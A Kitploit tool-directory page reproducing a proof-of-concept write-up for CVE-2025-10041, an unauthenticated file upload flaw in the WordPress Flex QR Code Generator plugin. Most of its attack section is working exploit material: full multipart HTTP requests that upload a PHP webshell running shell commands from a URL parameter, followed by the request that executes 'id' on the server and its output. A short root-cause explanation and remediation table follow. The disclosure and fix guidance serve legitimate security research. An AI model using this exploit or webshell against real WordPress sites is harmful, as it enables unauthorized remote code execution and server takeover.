Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
WordPress-Flex-QR-Code-Generator---CVE-2025-10041 — Technical analysis and proof-of-concept exploit for CVE-2025-10041, an unauthenticated arbitrary file upload leading to remote code execution in the WordPress Flex QR Code Generator plugin. | Kitploit
Tools/GitHubGitHub/kai-one001/wordpress-flex-qr-code-generator---cve-2025-10041
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubkai-one001/wordpress-flex-qr-code-generator---cve-2025-10041

WordPress-Flex-QR-Code-Generator---CVE-2025-10041

Technical analysis and proof-of-concept exploit for CVE-2025-10041, an unauthenticated arbitrary file upload leading to remote code execution in the WordPress Flex QR Code Generator plugin.

View Repository
111 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-10041: Arbitrary File Upload Vulnerability Analysis in the Flex QR Code Generator Plugin


1. Vulnerability Overview

  • Plugin Name: Flex QR Code Generator
  • Affected Versions: ≤ 1.2.5 (all versions)
  • Vulnerability Type: Arbitrary File Upload → Remote Code Execution (RCE)
  • Exploitation Conditions: No login required, unauthenticated access
  • Root Cause: The file upload functionality does not validate file extensions or MIME types, and the endpoint can be invoked by unauthenticated users.

2. Vulnerability Reproduction

  • No1 Information Disclosure + Update Hook Achieving RCE:

1. Attack Chain Overview

root@kitploit:~
Unauthenticated ID retrieval → Call update endpoint to upload PHP file → Access webshell → RCE

2. Step 1: Information Disclosure to Obtain ID

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded

per_page=50&page=1

A valid id (e.g., 9) and the logo_url path can be obtained from the response.

root@kitploit:~
{
    "success": true,
    "data": {
        "qrCodes": [{
            "id": "9",
            "qr_name": null,
            "text": "",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
            "created_at": "2025-10-16 11:16:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
        },
        {
            "id": "8",
            "qr_name": null,
            "text": "https:\/\/example.com",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"data\":\"https:\/\/example.com\"}",
            "created_at": "2025-10-16 11:01:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
        }], "totalItems": "9"
}
}

3. Step 2: Update and Upload WebShell

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"

9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream

AiErBuDe
------WebKitFormBoundaryABC123--

✅ A response of success: true indicates the upload was successful.

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code updated successfully.",
        "id": 9,
        "finalUrl": "https:\/\/example.com"
    }
}

4. Step 3: Access the Test File

File path format: {original_name}_{id}.php

root@kitploit:~
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

The server returns the file content

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8

AiErBuDe
  • No2 Unauthenticated File Upload + Achieving RCE:

1. Attack Chain Overview

root@kitploit:~
Unauthenticated access to endpoint to upload malicious file → Access webshell → RCE

2. Step 1: Upload Malicious File via Endpoint

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

A valid id (e.g., 10) and the success result can be obtained from the response

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code saved successfully.",
        "id": 10,
        "finalUrl": ""
    }
}

3. Step 3: Access the WEBSHELL to Execute Commands

root@kitploit:~
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

✅ The server returns the command execution result, RCE is successful.

root@kitploit:~
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54

uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)

3. Vulnerability Principle

1. Vulnerable Functions

  • File: flex-qr-code-generator/qr-code-generator.php
  • Functions: save_qr_code_to_db() and update_qr_code()

2. Key Flaws

  • Only checks $_FILES['logo']['error'] === UPLOAD_ERR_OK
  • Does not validate file extension or MIME type
  • Filename is controllable: {original_name}_{id}.ext, where id is an auto-increment primary key

3. Unauthenticated Invocation

Registered via the wp_ajax_nopriv_ hook, the endpoint can be accessed by users who are not logged in:

root@kitploit:~
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

nopriv means "no permission required", allowing attackers to invoke it without logging in.


4. Remediation Recommendations

MeasureDescription
✅ Access ControlRemove the nopriv hooks, only allow administrators to invoke them
✅ File Type ValidationUse a whitelist to restrict extensions (e.g., jpg/png/gif)
✅ Disable PHP ExecutionDisable PHP execution in uploads/.htaccess
✅ File RenamingUse random filenames to prevent guessing
✅ Upgrade PluginMonitor official updates and upgrade promptly

Disclaimer

This article is for security research and educational purposes only. Unauthorized penetration testing or attack activities are prohibited. Users must comply with relevant laws and regulations.

Download Tool